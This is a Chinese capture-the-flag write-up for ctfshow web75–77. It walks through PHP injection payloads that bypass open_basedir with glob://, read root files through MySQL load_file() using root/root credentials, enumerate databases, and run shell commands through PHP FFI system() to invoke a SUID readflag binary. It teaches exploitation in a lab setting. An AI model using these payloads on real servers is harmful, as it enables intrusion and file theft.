目录
1、web75
使用 glob 协议绕过 open_basedir,读取根目录下的文件,payload:
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
存在 flag36.txt
利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。
payload:
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
解释:
try {
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
// 输出读取到的内容,并追加一个竖线(|)
echo($row[0])."|";
}
// 将数据库连接对象设置为null,关闭连接
$dbh = null;
} catch (PDOException $e) {
// 如果发生PDO异常,输出错误信息
echo $e->getMessage();
// 终止脚本执行
die();
}
// 终止脚本执行
exit();
$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。
PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。
DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。
foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。
拿到 flag:ctfshow{b59fea1d-d5d8-4d90-a9dc-e318e43733f1}
当然我们也可以查一下有哪些数据库:
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
payload 解释:
// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PDO($dsn, 'root', 'root');
// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){
echo($row[0])."|";
}
// 终止脚本执行
exit();
确实存在一个名为 ctftraining 的数据库
我们还可以继续查 ctftraining 数据库下的所有表:
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){
echo($row[0])."|";
}exit();
存在一个名为 FLAG_TABLE 的表
查该表下的列名:
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){
echo($row[0])."|";
}exit();
得到列名为 FLAG_COLUMN
查询具体字段信息:
c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){
echo($row[0])."|";
}exit();
不行
但是由于我们知道了 flag 的路径,所有直接使用 load_file() 函数进行文件读取就行了。
2、web76
读取根目录下的文件:
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
存在名为 flag36d.txt 的文件
使用上一题的方法获取:
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
拿到 flag:ctfshow{d95d6fc4-3d51-4ab3-92b0-49edd1421b98}
3、web77
读取根目录后发现存在 flag36x.txt 和 readflag
(readflag 这个东西在前面的题里面遇到过,它是一个可执行的二进制文件,执行它即可获取 flag,这里为什么要用这个 readflag 而不是直接读取 flag36x.txt 我们后面再说)
采用前面的方法,但是回显 could not find driver
先放上题目提示里给到 payload:
用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;
之后执行 /readflag 程序并将其输出重定向到文件 1.txt;
通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。
我们先来试一下,payload:
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
之后访问 1.txt,即可看到 flag:ctfshow{3ff9dd00-8512-435a-b744-a1d4833f5bb4}
接下来我们说一下为什么读取 flag36x.txt 不行
我们先尝试读一下,构造 payload:
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);
之后访问 2.txt,发现是空白,没有任何内容:
看一下根目录下文件的权限:
c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a);
访问 3.txt 查看执行结果:
先看 flag36x.txt:-r--r----- 1 root root 46 Jul 1 07:19 flag36x.txt
第一个字符 - 表示这是一个普通文件。
接下来的三个字符 r-- 表示文件所有者(root)具有读取权限,但没有写入或执行权限。
后面的三个字符 r-- 表示文件所属组(root组)具有读取权限,但没有写入或执行权限。
最后的三个字符 --- 表示其他用户没有任何权限(既没有读取、写入、也没有执行权限)。
而我们当前是一个什么用户呢:
c=$ffi = FFI::cdef("int system(const char *command);");$a='id > 3.txt';$ffi->system($a);
用户 www-data 并不属于文件 flag36x.txt 的所有者(root 用户),也不属于文件所属组(root 组)。因此,根据文件的权限设置,www-data 用户无法读取 flag36x.txt 文件的内容。
而对于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag
第一个字符 - 表示这是一个普通文件。
接下来的三个字符 r-s 表示文件所有者(root)具有读取和执行权限,并且设置了SUID权限位。
后面的三个字符 r-x 表示文件所属组(root组)具有读取和执行权限,但没有写入权限。
再后面的三个字符 r-x 表示其他用户具有读取和执行权限,但没有写入权限。
我们读取一下 /readflag 的内容:
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 4.txt';$ffi->system($a);
访问 4.txt 下载:
"ELF" 开头的文件通常是可执行的二进制文件
使用 ida64 打开反编译分析一下:
伪代码分析:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setuid(0); // 提升权限为root用户
puts("ctfshow flag getter"); // 输出一条信息到标准输出
system("cat /flag36x.txt"); // 执行命令,输出文件 /flag36x.txt 的内容
return 0; // 返回0,表示程序正常结束
}
就是提权成 root 后读取 根目录下的 flag36x.txt,这也是为什么我们执行 readflag 后就会读取到 flag 的内容。